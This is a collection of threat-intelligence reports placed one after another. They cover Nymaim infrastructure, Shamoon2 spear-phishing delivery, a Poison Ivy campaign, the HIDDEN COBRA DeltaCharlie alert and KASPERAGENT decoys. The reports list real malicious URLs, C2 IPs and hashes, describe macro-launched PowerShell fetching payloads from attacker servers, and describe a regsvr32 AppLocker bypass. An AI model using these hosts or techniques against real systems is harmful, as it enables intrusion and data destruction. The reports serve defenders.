The “ idXXXXX.top ” pattern immediately stands out and may suggest a pattern in the static configuration for the initial domains used by the DGA for Nymaim since the previous two started with “ ejX.com .
Given the level of overlap already , I proceeded to grab all of the passive DNS available for each of the 707 IP addresses .
A full list of the domains can be seen here .
From the first cluster on the left , if we sort by incoming links per node a pattern stands out in the domain names looking similar to the previously mentioned Nymaim ones .
A quick search with the AutoFocus transform to pull tag information shows these are specifically related to Nymaim , most likely for the DGA seed ; however , looking at domains with less links , other malware families begin to emerge .
The cluster on the right is actually collapsing one collection of entities due to the sheer size of it .
All of these connected domains follow a pattern similar to phishing attacks masquerading as legitimate services – in this case “ online.verify.paypal ” ( 588 ) and “ hmrc.secure.refund ” ( 1021 ) .
In addition to domains of that type , there is evidence of other malware distribution being carried out on this infrastructure .
Collapsing the collection back down , note the two domains “ brontorittoozzo.com ” and “ randomessstioprottoy.net ” that fall outside of the collection due to more infrastructure connections .
By pivoting off of one sample we were able to zoom out and identify a sizable infrastructure of what appears to be 707 IP ’s and 2,611 domains being utilized for malicious activity .
As such , these findings represent a collection of compromised websites , compromised registrar accounts used to spin up subdomains , domains used by malware DGA ’s , phishing kits , carding forums , malware C2 sites , and a slew of other domains that revolve around criminal activity .
Hopefully this analysis has been helpful in understanding how truly connected some of these infrastructures can be and how with a little digging , you can uncover a substantial amount of operationally useful indicators to protect you and yours .
The Full Shamoon : How the Devastating Malware Was Inserted Into NetworksResearchers from the IBM X-Force Incident Response and Intelligence Services ( IRIS ) team identified a missing link in the operations of a threat actor involved in recent Shamoon malware attacks against Gulf state organizations .
These attacks , which occurred in November 2016 and January 2017 , reportedly affected thousands of computers across multiple government and civil organizations in Saudi Arabia and elsewhere in Gulf states .
Shamoon is designed to destroy computer hard drives by wiping the master boot record ( MBR ) and data irretrievably , unlike ransomware , which holds the data hostage for a fee .
Through their recent investigations , our forensics analysts pinpointed the initial compromise vector and post-compromise operations that led to the deployment of the destructive Shamoon malware on targeted infrastructures .
It ’s worth mentioning that , according to X-Force IRIS , the initial compromise took place weeks before the actual Shamoon deployment and activation were launched .
Since Shamoon incidents feature the infiltration and escalation stages of targeted attacks , X-Force IRIS responders sought out the attackers ’ entry point .
Their findings pointed to what appears to be the initial point of compromise the attackers used : a document containing a malicious macro that , when approved to execute , enabled C2 communications to the attacker ’s server and remote shell via PowerShell .
The document was not the only one discovered in the recent attack waves .
X-Force IRIS researchers had been tracking earlier activity associated with similar malicious , PowerShell-laden documents themed as resumes and human resources documents , some of which related to organizations in Saudi Arabia .
This research identified several bouts of offensive activity that occurred in the past few months , which revealed similar operational methods in which the attackers served malicious documents and other malware executables from web servers to their targets to establish an initial foothold in the network .
Although Shamoon was previously documented in research blogs , the specific network compromise methods leading to the attacks have remained unclear in the reported cases .
X-Force IRIS researchers studied Shamoon ’s attack life cycle and observed its tactics at Saudi-based organizations and private sector companies .
This research led them to believe that the actor using Shamoon in recent attacks relied heavily on weaponized documents built to leverage PowerShell to establish their initial network foothold and subsequent operations :Attackers send a spear phishing email to employees at the target organization .
The email contains a Microsoft Office document as an attachment .
Opening the attachment from the email invokes PowerShell and enables command line access to the compromised machine .
Attackers can now communicate with the compromised machine and remotely execute commands on it .
The attackers use their access to deploy additional tools and malware to other endpoints or escalate privileges in the network .
Attackers study the network by connecting to additional systems and locating critical servers .
The attackers deploy the Shamoon malware .
A coordinated Shamoon outbreak begins and computer hard drives across the organization are permanently wiped .
X-Force IRIS identified the below malicious document .
X-Force IRIS File name : cv_itworx.doc .
X-Force IRIS MD5 : 45b0e5a457222455384713905f886bd4 .
X-Force IRIS SHA256 : 528714aaaa4a083e72599c32c18aa146db503eee80da236b20aea11aa43bdf62 .
X-Force IRIS Hosting URL : http://mol.com-ho.me/cv_itworx.doc .
Our researchers examined the domain that hosted the first malicious file , mol.com-ho.me .
Per the domain ’s WHOIS record , an anonymized registrant registered com-ho.me in October 2016 and used it to serve malicious documents with similar macro activation features .
The following list of documents included :cv.doc : f4d18316e367a80e1005f38445421b1f .
 cv_itworx.doc : 45b0e5a457222455384713905f886bd4 .
 cv_mci.doc : f4d18316e367a80e1005f38445421b1f .
 discount_voucher_codes.xlsm : 19cea065aa033f5bcfa94a583ae59c08 .
Health_insurance_plan.doc : ecfc0275c7a73a9c7775130ebca45b74 .
Health_insurance_registration.doc : 1b5e33e5a244d2d67d7a09c4ccf16e56 .
 job_titles.doc : fa72c068361c05da65bf2117db76aaa8 .
 job_titles_itworx.doc : 43fad2d62bc23ffdc6d301571135222c .
 job_titles_mci.doc : ce25f1597836c28cf415394fb350ae93 .
Password_Policy.xlsm : 03ea9457bf71d51d8109e737158be888 .
These files were most likely delivered via spear phishing emails to lure employees into unwittingly launching the malicious payload .
A closer review of the file names revealed “ IT Worx ” and “ MCI ” .
A search of the name IT Worx brings up a global software professional services organization headquartered in Egypt .
MCI is Saudi Arabia ’s Ministry of Commerce and Investment .
It is possible these names were used in spear phishing emails because they would seem benign to Saudi-based employees and lure them to open the attachment .
X-Force IRIS researchers further identified that the threat actor behind the malicious documents served many of them using a URL-shortening scheme in the following pattern : briefl.ink/{a-z0-9}[5] .
File Detail : Info File name : job_titles_itworx.doc .
MD5 : 43fad2d62bc23ffdc6d301571135222c .
SHA256 : e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6 .
Hosting URL : http://briefl.ink/qhtma .
Passive DNS results on a communications domain associated with the Shamoon attack revealed related network infrastructure , identifying additional domains used by the threat actors .
Domain Name : Spoofed Site ntg-sa.com The domain ntg-sa.com appears to spoof the legit domain ntg.sa.com associated with the Namer Trading Group .
Per their webpage , NTG “ was established primarily to cater the growing demands of Petrochemicals waste management within the Kingdom of Saudi Arabia ” .
 maps-modon.club : The maps-modon.club domain appears to spoof maps.modon.gov.sa , which is associated with the Saudi Industrial Property Authority , an organization “ responsible for the development of industrial cities with integrated infrastructure and services ” .
X-Force IRIS discovered that the threat actor was hosting at least one malicious executable on a server hosted on ntg-sa.com .
This file duped targets into believing it was a Flash player installer that would drop a Windows batch to invoke PowerShell into the same C2 communications .
Analysis of one of the threat actor ’s documents found that if the macro executes , it launches two separate PowerShell Scripts .
The first one executes a PowerShell script served from http://139.59.46.154:3485/eiloShaegae1 .
The host is possibly related to attacks that served the Pupy RAT , a publicly available cross-platform remote access tool .
The second script calls VirtualAlloc to create a buffer , uses memset to load Metasploit-related shellcode into that buffer and executes it through CreateThread .
Metasploit is an open source framework popular as a tool for developing and executing exploit code against a remote target machine .
The shellcode performs a DWORD XOR of 4 bytes at an offset from the beginning of the shellcode that changes the code to create a loop so the XOR continues 0x57 times .
If this execution is successful , it creates a buffer using VirtualAlloc and calls InternetReadFile in a loop until all the file contents are retrieved from http://45.76.128.165:4443/0w0O6 .
This is then returned as a string to PowerShell , which calls invoke-expression ( iex ) on it , indicating that the expected payload is PowerShell .
Of note , the macro contained a DownloadFile() function that would use URLDownloadToFileA , but this was never actually used .
Based on observations associated with the malicious document , we observed subsequent shell sessions probably associated with’s Meterpreter that enabled deployment of additional tools and malware preceding deployment of three Shamoon-related files : ntertmgr32.exe , ntertmgr64.exe and vdsk911.sys .
Although the complete list of Shamoon ’s victims is not public , Bloomberg reported that in one case , thousands of computers were destroyed at the headquarters of Saudi ’s General Authority of Civil Aviation , erasing critical data and bringing operations to a halt for several days .
The recent activity X-Force IRIS is seeing from the Shamoon attackers has so far been detected in two waves , but those are likely to subside following the public attention the cases have garnered since late 2016 .
Saudi Arabia released a warning to local organizations about the Shamoon malware , alerting about potential attacks and advising organizations to prepare .
Additional Insights on Shamoon2 .
IBM analysts recently unveiled a first look at how threat actors may have placed Shamoon2 malware on systems in Saudi Arabia .
Researchers showcased a potential malware lifecycle which started with spear phishing and eventually led to the deployment of the disk-wiping malware known as Shamoon .
Their research showcased a set of downloaders and domains that could potentially lead to a more extensive malware distribution campaign .
While researching elements in the IBM report , ASERT discovered additional malicious domains , IP addresses , and artifacts .
The basic functionality of the new documents and their PowerShell components matched what was previously disclosed .
For more information on the overall capabilities of the malware , please review IBM 's ongoing research .
It is our hope that by providing additional indicators , end-point investigators and network defenders will be able to discover and mitigate more Shamoon2 related compromises .
The following new samples were likely delivered via similar spear phishing campaigns as described in IBM 's research .
All three shared the same IPs and URLs , also provided below .
These samples were located by pivoting on document attributes .
In this case , a sample from the IBM report indicated the document author ‘ gerry.knight ’ which led us to the following three additional samples .
 spear phishing : 2a0df97277ddb361cecf8726df6d78ac 5e5ea1a67c2538dbc01df28e4ea87472 d30b8468d16b631cafe458fd94cc3196 .
 spear phishing : 104.218.120.128 .
spear phishing : 69.87.223.26 .
spear phishing : 5.254.100.200 .
spear phishing : analytics-google.org : 69/checkFile.aspx .
spear phishing : analytics-google.org .
spear phishing : 69.87.223.26:8080/p .
From the previous samples , we performed a passive DNS lookup on the IPs .
We found get.adobe.go-microstf.com hosted at 104.218.120.128 around the time this campaign was ongoing , November 2016 .
Researching the domain go-microstf.com , hosted at 45.63.10.99 , revealed yet another iteration of malicious executables .
In this case , a URL used to download the PowerShell component shared a naming convention found in the IBM report , http://69.87.223.26:8080/eiloShaegae1 and connected to the IP address used by the previous three samples .
The following are IOCs related to this domain :83be35956e5d409306a81e88a1dc89fd .
 45.63.10.99 .
 69.87.223.26 .
URLs go-microstf.com .
 69.87.223.26:8080/eiloShaegae1 .
 go-microstf.com/checkfile.aspx .
The domain go-microstf.com was originally set up to spoof Google Analytics login page .
Finally , research yielded a relatively unique sample .
This particular iteration was submitted to VirusTotal on September 16 , 2016 .
The majority of samples analyzed to date were submitted no earlier than mid-October , with most being submitted in January 2017 or later .
We were able to discover this particular version by diving further into connections to analytics-google.org .
Unlike newer samples , this one created a unique fileThe file was created at C:\Documents and Settings\Admin\Local Settings\Temp\sloo.exe .
In addition to this file , the sample also contacted 104.238.184.252 for the PowerShell executable .
Researchers at Palo Alto have attributed sloo.exe and related activities to threat actors of a likely Iranian state-sponsored origin which they ’ve named Magic Hound .
The group Magic Hound is linked via infrastructure and tools to the Rocket Kitten threat actor group although Palo Alto cannot confirm the extent of any relationship between the two groups .
Dell Secureworks analysts recently concluded that domains discussed in the IBM report were linked to the Iranian PuppyRAT .
In addition , Dell analysts have assessed with high-confidence these activities are attributable to Iranian state-sponsored activities .
IOCs for this version were :Shamoon2 : 07d6406036d6e06dc8019e3ade6ee7de .
Shamoon2 : 104.238.184.252 .
Shamoon2 : 5.254.100.200 Shamoon2 : URLs .
Shamoon2 : analytics-google.org : 69/checkFile.aspx .
These additional IOCs will hopefully provide more context into the ongoing threat .
The link to possible Iranian threat actors supports ongoing analysis that Shamoon2 was perpetrated by Iranian state-sponsored threat actors .
The last sample discussed may be malware-0 or at least part of the overall development and subsequent deployment of tools used to install Shamoon on Saudi systems .
Shamoon2 : 2a0df97277ddb361cecf8726df6d78ac .
Shamoon2 : 5e5ea1a67c2538dbc01df28e4ea87472 .
Shamoon2 : d30b8468d16b631cafe458fd94cc3196 .
Shamoon2 : 83be35956e5d409306a81e88a1dc89fd .
Shamoon2 : 07d6406036d6e06dc8019e3ade6ee7de .
Shamoon2 : 104.218.120.128 .
Shamoon2 : 69.87.223.26 .
Shamoon2 : 5.254.100.200 .
Shamoon2 : 45.63.10.99 .
Shamoon2 : 104.238.184.252 .
Shamoon2 : analytics-google.org : 69/checkFile.aspx .
Shamoon2 : analytics-google.org .
Shamoon2 : 69.87.223.26:8080/p .
Shamoon2 : go-microstf.com .
Shamoon2 : 69.87.223.26:8080/eiloShaegae1 .
Shamoon2 : get.adobe.go-microstf.com .
FireEye recently observed a sophisticated campaign targeting individuals within the Mongolian government .
Targeted individuals that enabled macros in a malicious Microsoft Word document may have been infected with Poison Ivy , a popular remote access tool ( RAT ) that has been used for nearly a decade for key logging , screen and video capture , file transfers , password theft , system administration , traffic relaying , and more .
The threat actors behind this attack demonstrated some interesting techniques , including :Customized evasion based on victim profile – The campaign used a publicly available technique to evade AppLocker application whitelisting applied to the targeted systems .
Fileless execution and persistence – In targeted campaigns , threat actors often attempt to avoid writing an executable to the disk to avoid detection and forensic examination .
The campaign we observed used four stages of PowerShell scripts without writing the the payloads to individual files .
Decoy documents – This campaign used PowerShell to download benign documents from the Internet and launch them in a separate Microsoft Word instance to minimize user suspicion of malicious activity .
The threat actors used social engineering to convince users to run an embedded macro in a Microsoft Word document that launched a malicious PowerShell payload .
The threat actors used two publicly available techniques , an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process .
The malicious payload was spread across multiple PowerShell scripts , making its execution difficult to trace .
Rather than being written to disk as individual script files , the PowerShell payloads were stored in the registry .
Targets of the campaign received Microsoft Word documents via email that claimed to contain instructions for logging into webmail or information regarding a state law proposal .
Microsoft application whitelisting solution AppLocker prevents unknown executables from running on a system .
In April 2016 , a security researcher demonstrated a way to bypass this using regsvr32.exe , a legitimate Microsoft executable permitted to execute in many AppLocker policies .
The regsvr32.exe executable can be used to download a Windows Script Component file ( SCT file ) by passing the URL of the SCT file as an argument .
This technique bypasses AppLocker restrictions and permits the execution of code within the SCT file .
In the decrypted shellcode , we also observed content and configuration related to Poison Ivy .
Correlating these bytes to the standard configuration of Poison Ivy , we can observe the following :Active setup : StubPath .
Encryption/Decryption key : version2013 .
Mutex name : 20160509 .
Although Poison Ivy has been a proven threat for some time , the delivery mechanism for this backdoor uses recent publicly available techniques that differ from previously observed campaigns .
Through the use of PowerShell and publicly available security control bypasses and scripts , most steps in the attack are performed exclusively in memory and leave few forensic artifacts on a compromised host .
FireEye HX Exploit Guard is a behavior-based solution that is not affected by the tricks used here .
It detects and blocks this threat at the initial level of the attack cycle when the malicious macro attempts to invoke the first stage PowerShell payload .
Alert : HIDDEN COBRA - North Korea 's DDoSThis joint Technical Alert ( TA ) is the result of analytic efforts between the Department of Homeland Security ( DHS ) and the Federal Bureau of Investigation ( FBI ) .
This alert provides technical details on the tools and infrastructure used by cyber actors of the North Korean government to target the media , aerospace , financial , and critical infrastructure sectors in the United States and globally .
Working with U.S. Government partners , DHS and FBI identified Internet Protocol ( IP ) addresses associated with a malware variant , known as DeltaCharlie , used to manage North Korea 's distributed denial-of-service ( DDoS ) botnet infrastructure .
This alert contains indicators of compromise ( IOCs ) , malware descriptions , network signatures , and host-based rules to help network defenders detect activity conducted by the NorthThe U.S. Government refers to the malicious cyber activity by the North Korean government as HIDDEN COBRA .
For more information related to HIDDEN COBRA activity , go to https://www.us-cert.gov/hiddencobra .
If users or administrators detect the custom tools indicative of HIDDEN COBRA , these tools should be immediately flagged , reported to the DHS National Cybersecurity Communications and Integration Center ( NCCIC ) or the FBI Cyber Watch ( CyWatch ) , and given highest priority for enhanced mitigation .
This alert identifiesaddresses linked to systems infected with DeltaCharlie malware and provides descriptions of the malware and associated malware signatures .
DHS and FBI are distributing theseaddresses to enable network defense activities and reduce exposure to the DDoS command-and-control network .
FBI has high confidence that HIDDEN COBRA actors are using theaddresses for further network exploitation .
This alert includes technical indicators related to specific North Korean government cyber operations and provides suggested response actions to those indicators , recommended mitigation techniques , and information on reporting incidents to the U.S. Government .
On August 23 , 2017 , DHS published a Malware Analysis Report ( MAR-10132963 ) that examines malware functionality to provide detailed code analysis and insight into specific tactics , techniques , and procedures ( TTPs ) observed in the malware .
Since 2009 , HIDDEN COBRA actors have leveraged their capabilities to target and compromise a range of victims ; some intrusions have resulted in the Exfiltration of data while others have been disruptive in nature .
Commercial reporting has referred to this activity as Lazarus Group and Guardians of Peace .
DHS and FBI assess that HIDDEN COBRA actors will continue to use cyber operations to advance their government 's military and strategic objectives .
Cyber analysts are encouraged to review the information provided in this alert to detect signs of malicious network activity .
Tools and capabilities used by HIDDEN COBRA actors include DDoS, keyloggers , remote access tools ( RATs ) , and wiper malware .
Variants of malware and tools used by HIDDEN COBRA actors include Destover , Wild, and Hangman .
DHS has previously released Alert TA14-353A , which contains additional details on the use of a server message block ( SMB ) worm tool employed by these actors .
Further research is needed to understand the full breadth of this group 's cyber capabilities .
In particular , DHS recommends that more research should be conducted on the North Korean cyber activity that has been reported by cybersecurity and threat research firms .
HIDDEN COBRA actors commonly target systems running older , unsupported versions of Microsoft operating systems .
The multiple vulnerabilities in these older systems provide cyber actors many targets for exploitation .
These actors have also used Adobe Flash player vulnerabilities to gain initial entry into users' environments .
HIDDEN COBRA is known to use vulnerabilities affecting various applications .
These vulnerabilities include :CVE-2015-6585 : Hangul Word Processor Vulnerability .
CVE-2015-8651 : Adobe Flash Player 18.0.0.324 and 19.x Vulnerability .
CVE-2016-0034 : Microsoft Silverlight 5.1.41212.0 Vulnerability .
CVE-2016-1019 : Adobe Flash Player 21.0.0.197 Vulnerability .
CVE-2016-4117 : Adobe Flash Player 21.0.0.226 Vulnerability .
DHS recommends that organizations upgrade these applications to the latest version and patch level .
If Adobe Flash or Microsoft Silverlight is no longer required , DHS recommends that those applications be removed from systems .
The IOCs provided with this alert includeaddresses determined to be part of the HIDDEN COBRA botnet infrastructure , identified as DeltaCharlie .
The DeltaCharlie DDoS bot was originally reported by Novetta in their 2016 Operation Blockbuster Malware Report .
This malware has used theaddresses identified in the accompanying .csv and .stix files as both source and destination IPs .
In some instances , the malware may have been present on victims' networks for a significant period .
DeltaCharlie is a DDoS tool used by HIDDEN COBRA actors , and is referenced and detailed in Novetta 's Operation Blockbuster Destructive Malware report .
The information related to DeltaCharlie from the Operation Blockbuster Destructive Malware report should be viewed in conjunction with theaddresses listed in the .csv and .stix files provided within this alert .
DeltaCharlie is a DDoS tool capable of launching Domain Name System ( DNS ) attacks , Network Time Protocol ( NTP ) attacks , and Carrier Grade NAT ( CGN ) attacks .
The malware operates on victims' systems as a svchost-based service and is capable of downloading executables , changing its own configuration , updating its own binaries , terminating its own processes , and activating and terminating denial-of-service attacks .
HIDDEN COBRA IOCs related to DeltaCharlie are provided within the accompanying .csv and .stix files of this alert .
DHS and FBI recommend that network administrators review theaddresses , file hashes , network signatures , and YARA rules provided , and add the IPs to their watchlist to determine whether malicious activity has been observed within their organization .
When reviewing network perimeter logs for theaddresses , organizations may find numerous instances of theseaddresses attempting to connect to their systems .
Upon reviewing the traffic from theseaddresses , system owners may find that some traffic corresponds to malicious activity and some to legitimate activity .
System owners are also advised to run the YARA tool on any system they suspect to have been targeted by HIDDEN COBRA actors .
This section contains network signatures and host-based rules that can be used to detect malicious activity associated with HIDDEN COBRA actors .
Although created using a comprehensive vetting process , the possibility of false positives always remains .
These signatures and rules should be used to supplement analysis and should not be used as a sole source of attributing this activity to HIDDEN COBRA actors .
A successful network intrusion can have severe impacts , particularly if the compromise becomes public and sensitive information is exposed .
Possible impacts include : temporary or permanent loss of sensitive or proprietary information , disruption to regular operations , financial losses incurred to restore systems and files , and potential harm to an organization 's reputation .
Network administrators are encouraged to apply the following recommendations , which can prevent as many as 85 percent of targeted cyber intrusions .
The mitigation strategies provided may seem like common sense .
However , many organizations fail to use these basic security measures , leaving their systems open to compromise :Patch applications and operating systems .
Most attackers target vulnerable applications and operating systems .
Ensuring that applications and operating systems are patched with the latest updates greatly reduces the number of exploitable entry points available to an attacker .
Use best practices when updating software and patches by only downloading updates from authenticated vendor sites .
Use application whitelisting .
Whitelisting is one of the best security strategies because it allows only specified programs to run while blocking all others , including malicious software .
Restrict administrative privileges .
Threat actors are increasingly focused on gaining control of legitimate credentials , especially credentials associated with highly privileged accounts .
Reduce privileges to only those needed for a user 's duties .
Separate administrators into privilege tiers with limited access to other tiers .
Segment networks and segregate them into security zones .
Segment networks into logical enclaves and restrict host-to-host communications paths .
This helps protect sensitive information and critical services , and limits damage from network perimeter breaches .
Validate input .
Input validation is a method of sanitizing untrusted input provided by users of a web application .
Implementing input validation can protect against the security flaws of web applications by significantly reducing the probability of successful exploitation .
Types of attacks possibly averted include Structured Query Language ( SQL ) injection , cross-site scripting , and command injection .
Use stringent file reputation settings .
Tune the file reputation systems of your anti-virus software to the most aggressive setting possible .
Some anti-virus products can limit execution to only the highest reputation files , stopping a wide range of untrustworthy code from gaining control .
Understand firewalls .
Firewalls provide security to make your network less susceptible to attack .
They can be configured to block data and applications from certain locations (whitelisting ) , while allowing relevant and necessary data through .
To protect against code injections and other attacks , system operators should routinely evaluate known and published vulnerabilities , periodically perform software updates and technology refreshes , and audit external-facing systems for known web application vulnerabilities .
They should also take the following steps to harden both web applications and the servers hosting them to reduce the risk of network intrusion via this vector .
Use and configure available firewalls to block attacks .
Take steps to secure Windows systems , such as installing and configuring Microsoft 's Enhanced Mitigation Experience Toolkit ( EMET ) and Microsoft AppLocker .
Monitor and remove any unauthorized code present in any www directories .
Disable , discontinue , or disallow the use of Internet Control Message Protocol ( ICMP ) and Simple Network Management Protocol ( SNMP ) as much as possible .
Remove unnecessary HTTP verbs from web servers .
Typical web servers and applications only require GET , POST , and HEAD .
Where possible , minimize server fingerprinting by configuring web servers to avoid responding with banners identifying the server software and version number .
Secure both the operating system and the application .
Update and patch production servers regularly .
Disable potentially harmful SQL-stored procedure calls .
Sanitize and validate input to ensure that it is properly typed and does not contain escaped code .
Consider using type-safe stored procedures and prepared statements .
Audit transaction logs regularly for suspicious activity .
Perform penetration testing on web services .
Ensure error messages are generic and do not expose too much information .
System operators should take the following steps to limit permissions , privileges , and access controls .
Reduce privileges to only those needed for a user 's duties .
Restrict users' ability ( permissions ) to install and run unwanted software applications , and apply the principle of Least Privilege to all systems and services .
Restricting these privileges may prevent malware from running or limit its capability to spread through the network .
Carefully consider the risks before granting administrative rights to users on their own machines .
Scrub and verify all administrator accounts regularly .
Configure Group Policy to restrict all users to only one login session , where possible .
Enforce secure network authentication , where possible .
Instruct administrators to use non-privileged accounts for standard functions such as web browsing or checking webmail .
Segment networks into logical enclaves and restrict host-to-host communication paths .
Containment provided by enclaving also makes incident cleanup significantly less costly .
Configure firewalls to disallow Remote Desktop Protocol ( RDP ) traffic coming from outside of the network boundary , except for in specific configurations such as when tunneled through a secondary virtual private network ( VPN ) with lower privileges .
Audit existing firewall rules and close all ports that are not explicitly needed for business .
Specifically , carefully consider which ports should be connecting outbound versus inbound .
Enforce a strict lockout policy for network users and closely monitor logs for failed login activity .
Failed login activity can be indicative of failed intrusion activity .
If remote access between zones is an unavoidable business need , log and monitor these connections closely .
In environments with a high risk of interception or intrusion , organizations should consider supplementing password authentication with other forms of authentication such as challenge/response or multifactor authentication using biometric or physical tokens .
System operators should follow these secure logging practices .
Ensure event logging , including applications , events , login activities , and security attributes , is turned on or monitored for identification of security issues .
Configure network logs to provide adequate information to assist in quickly developing an accurate determination of a security incident .
Upgrade PowerShell to new versions with enhanced logging features and monitor the logs to detect usage of PowerShell commands , which are often malware-related .
Secure logs in a centralized location and protect them from modification .
Phantom of the Opaera :New KASPERAGENT Malware Campaign .
ThreatConnect has identified a KASPERAGENT malware campaign leveraging decoy Palestinian Authority documents .
The samples date from April – May 2017 , coinciding with the run up to the May 2017 Palestinian Authority elections .
Although we do not know who is behind the campaign , the decoy documents ’ content focuses on timely political issues in Gaza and the IP address hosting the campaign ’s command and control node hosts several other domains with Gaza registrants .
In this blog post we will detail our analysis of the malware and associated indicators , look closely at the decoy files , and leverage available information to make an educated guess on the possible intended target .
Associated indicators and screenshots of the decoy documents are all available here in the ThreatConnect platform .
Some of the indicators in the following post were published on AlienVault OTX on 6/13 .
KASPERAGENT is Microsoft Windows malware used in efforts targeting users in the United States , Israel , Palestinian Territories , and Egypt since July 2015 .
The malware was discovered by Palo Alto Networks Unit 42 and ClearSky Cyber Security , and publicized in April 2017 in the Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA blog .
It is called KASPERAGENT based on PDB strings identified in the malware such as “ c : UsersUSADocumentsVisual Studio 2008ProjectsNew folder ( 2 ) kasperReleasekasper.pdb ” .
The threat actors used shortened URLs in spear phishing messages and fake news websites to direct targets to download KASPERAGENT .
Upon execution , KASPERAGENT drops the payload and a decoy document that displays Arabic names and ID numbers .
The malware establishes persistence and sends HTTP requests to the command and control domain mailsinfo.net .
Of note , the callbacks were to PHP scripts that included / dad5 / in the URLs .
Most samples of the malware reportedly function as a basic reconnaissance tool and downloader .
However , some of the recently identified files display “ extended-capability ”including the functionality to steal passwords , take screenshots , log keystrokes , and steal files .
These “ extended-capability ”samples called out to an additional command and control domain , stikerscloud.com .
Additionally , early variants of KASPERAGENT used “ Chrome ”as the user agent , while more recent samples use “ OPAERA ”– a possible misspelling of the “ Opera ”– browser .
The indicators associated with the blog article are available in the ThreatConnect Technical Blogs and Reports source here .
The samples we identified leverage the same user agent string “ OPAERA ”, included the kasper PDB string reported by Unit 42 , and used similar POST and GET requests .
The command and control domains were different , and these samples used unique decoy documents to target their victims .
We didn’t start out looking for KASPERAGENT , but a file hit on one of our YARA rules for an executable designed to display a fake XLS icon – one way adversaries attempt to trick targets into thinking a malicious file is innocuous .
The first malicious sample we identified ( 6843AE9EAC03F69DF301D024BFDEFC88 ) had the file name “ testproj.exe ”and was identified within an archive file ( 4FE7561F63A71CA73C26CB95B28EAEE8 ) with the name “ التفاصيل الكاملة لأغتيال فقهاء.r24 ” .
This translates to “ The Complete Details of Fuqaha ’s Assassination ”, a reference to Hamas military leader Mazen Fuqaha who was assassinated on March 24 , 2017 .
We detonated the file in VxStream ’s automated malware analysis capability and found testproj.exe dropped a benign Microsoft Word document that pulls a jpg file from treestower.com .
Malwr.com observed this site in association with another sample that called out to mailsinfo.net – a host identified in the Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA blog .
That was our first hint that we were looking at KASPERAGENT .
The jpg pulled from treestower.com displays a graphic picture of a dead man , which also appeared on a Palestinian news website discussing the death of Hamas military leader Mazen Fuqaha .
A separate malicious executable – 2DE25306A58D8A5B6CBE8D5E2FC5F3C5 ( vlc.exe ) – runs when the photograph is displayed , using the YouTube icon and calling out to several URLs on windowsnewupdates.com .
This host was registered in late March and appears to be unique to this campaign .
With our interest piqued , we pivoted on the import hashes ( also known as an imphash ) , which captures the import table of a given file .
Shared import hashes across multiple files would likely identify files that are part of the same malware family .
We found nine additional samples sharing the imphash values for the two executables , C66F88D2D76D79210D568D7AD7896B45 and DCF3AA484253068D8833C7C5B019B07 .
Analysis of those files uncovered two more imphashes , 0B4E44256788783634A2B1DADF4F9784 and E44F0BD2ADFB9CBCABCAD314D27ACCFC , for a total of 20 malicious files .
These additional samples behaved similarly to the initial files ;testproj.exe dropped benign decoy files and started malicious executables .
The malicious executables all called out to the same URLs on windowsnewupdates.com .
These malware samples leverage the user agent string “ OPAERA ” , the same one identified in the Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA blog .
Although the command and control domain was different from those in the report , the POST and GET requests were similar and included / dad5 / in the URL string .
In addition , the malware samples included the kasper PDB string reported by Unit 42 , prompting us to conclude that we were likely looking at new variants of KASPERAGENT .
Several of the decoy files appeared to be official documents associated with the Palestinian Authority – the body that governs the Palestinian Territories in the Middle East .
We do not know whether the files are legitimate Palestinian Authority documents , but they are designed to look official .
Additionally , most of the decoy files are publicly available on news websites or social media .
The first document – dated April 10 , 2017 – is marked “ Very Secret ”and addressed to Yahya Al-Sinwar , who Hamas elected as its leader in Gaza in February 2017 .
Like the photo displayed in the first decoy file we found , this document references the death of Mazen Fuqaha .
The Arabic-language text and English translation of the document are available in ThreatConnect here .
A screenshot of the file is depicted below .
The second legible file , dated April 23 , has the same letterhead and also is addressed to Yahya al-Sinwar .
This file discusses the supposed announcement banning the rival Fatah political party , which controls the West Bank , from Gaza .
It mentions closing the Fatah headquarters and houses that were identified as meeting places as well as the arrest of some members of the party .
We don’t know for sure who is responsible for this campaign , but digging into the passive DNS results led us to some breadcrumbs .
Starting with 195.154.110.237 , the IP address which is hosting the command and control domain windowsnewupdates.com , we found that the host is on a dedicated server .
Using our Farsight DNSDB integration , we identified other domains currently and previously hosted on the same IP .
Two of the four domains that have been hosted at this IP since 2016 — upfile2box.com and 7aga.net — were registered by a freelance web developer in Gaza , Palestine .
This IP has been used to host a small number of domains , some of which were registered by the same actor , suggesting the IP is dedicated for a single individual or group ’s use .
While not conclusive , it is intriguing that the same IP was observed hosting a domain ostensibly registered in Gaza AND the command and control domain associated with a series of targeted attacks leveraging Palestinian Authority -themed decoy documents referencing Gaza .
Just like we can’t make a definitive determination as to who conducted this campaign , we do not know for sure who it was intended to target .
What we do know is that several of the malicious files were submitted to a public malware analysis site from the Palestinian Territories .
This tells us that it is possible either the threat actors or at least one of the targets is located in that area .
Additionally , as previously mentioned , the decoy document subject matter would likely be of interest to a few different potential targets in the Palestinian Territories .
Potential targets such as Hamas who controls the Gaza strip and counts Mazen Fuqaha and Yahya al-Sinwar as members , Israel which is accused of involvement in the assassination of Mazen Fuqaha , and the Fatah party of which the Prime Minister and President of the Palestinian Authority are members .
The campaign corresponds with a period of heightened tension in Gaza .
Hamas , who has historically maintained control over the strip , elected Yahya al-Sinwar – a hardliner from its military wing – as its leader in February .
A Humanitarian Bulletin published by the United Nations ’ Office for the Coordination of Humanitarian Affairs indicates in March 2017 ( just before the first malware samples associated with this campaign were identified in early April ) Hamas created “ a parallel institution to run local ministries in Gaza , ”further straining the relationship between Hamas and the Palestinian Authority who governs the West Bank .
After this announcement , the Palestinian Authority cut salaries for its employees in Gaza by 30 percent and informed Israel that it would no longer pay for electricity provided to Gaza causing blackouts throughout the area and escalating tensions between the rival groups .
Then , in early May ( two days after the last malware sample was submitted ) the Palestinian Authority held local elections in the West Bank which were reportedly seen as a test for the Fatah party .
Elections were not held in Gaza .
All of that is to say , the decoy documents leveraged in this campaign would likely be relevant and of interest to a variety of targets in Israel and Palestine , consistent with previously identified KASPERAGENT targeting patterns .
Additionally , the use of what appear to be carefully crafted documents at the very least designed to look like official government correspondence suggests the malware may have been intended for a government employee or contractor who would be interested in the documents ’ subject matter .
APT28 : New Espionage Operations Target Military and Government Organizations .
